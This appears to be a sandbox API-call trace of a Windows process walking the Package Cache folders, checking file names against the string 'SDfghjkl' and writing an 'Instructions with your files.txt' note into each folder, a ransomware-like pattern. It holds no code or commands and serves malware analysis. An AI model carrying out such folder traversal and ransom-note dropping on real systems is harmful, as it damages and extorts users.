[0131.988] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb571abe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb571abe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1
[0131.988] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache") returned 36
[0131.988] GetProcessHeap () returned 0x810000
[0131.988] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.988] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\*") returned 38
[0131.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb571abe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb571abe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.988] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\.") returned 38
[0131.988] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xb571abe0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb571abe0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.988] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\..") returned 39
[0131.988] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1
[0131.989] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 77
[0131.989] GetProcessHeap () returned 0x810000
[0131.989] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.989] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*") returned 79
[0131.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.989] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\.") returned 79
[0131.989] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.989] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\..") returned 80
[0131.989] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45406e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.989] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\Instructions with your files.txt") returned 110
[0131.989] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.989] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0131.989] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned 86
[0131.989] GetProcessHeap () returned 0x810000
[0131.989] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.989] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*") returned 88
[0131.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.989] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\.") returned 88
[0131.989] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.989] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\..") returned 89
[0131.989] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45406e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb45406e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.989] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Instructions with your files.txt") returned 119
[0131.989] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.989] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb43e9a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb43e9a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1
[0131.989] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned 92
[0131.989] GetProcessHeap () returned 0x810000
[0131.989] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.990] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*") returned 94
[0131.990] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb43e9a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb43e9a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.990] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\.") returned 94
[0131.990] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb43e9a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb43e9a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.990] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\..") returned 95
[0131.990] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb43e9a80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb43e9a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb45406e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.990] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Instructions with your files.txt") returned 125
[0131.990] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.990] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb43e9a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb43e9a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1
[0131.990] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned 96
[0131.990] GetProcessHeap () returned 0x810000
[0131.990] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0131.990] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*") returned 98
[0131.990] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb43e9a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb43e9a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.990] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\.") returned 98
[0131.990] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb43e9a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb43e9a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.990] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\..") returned 99
[0131.990] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb43e9a80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb43e9a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb43e9a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.990] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Instructions with your files.txt") returned 129
[0131.990] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.990] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1
[0131.990] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu") returned 125
[0131.990] StrStrIW (lpFirst="Windows6.1-KB2999226-x64.msu", lpSrch="SDfghjkl") returned 0x0
[0131.990] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59d2100, ftCreationTime.dwHighDateTime=0x1d0a100, ftLastAccessTime.dwLowDateTime=0x59d2100, ftLastAccessTime.dwHighDateTime=0x1d0a100, ftLastWriteTime.dwLowDateTime=0x59d2100, ftLastWriteTime.dwHighDateTime=0x1d0a100, nFileSizeHigh=0x0, nFileSizeLow=0xf7139, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0
[0131.991] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Instructions with your files.txt") returned 129
[0131.991] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.991] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.992] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.992] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.992] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.992] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.992] CloseHandle (hObject=0x11c) returned 1
[0131.992] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.992] GetProcessHeap () returned 0x810000
[0131.992] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0131.992] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb43e9a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb43e9a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
[0131.992] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Instructions with your files.txt") returned 125
[0131.992] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.992] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.993] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.993] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.993] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.993] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.994] CloseHandle (hObject=0x118) returned 1
[0131.994] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.994] GetProcessHeap () returned 0x810000
[0131.994] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.994] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xb43e9a80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb43e9a80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0
[0131.994] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Instructions with your files.txt") returned 119
[0131.994] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.994] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.995] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.995] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.995] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.995] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
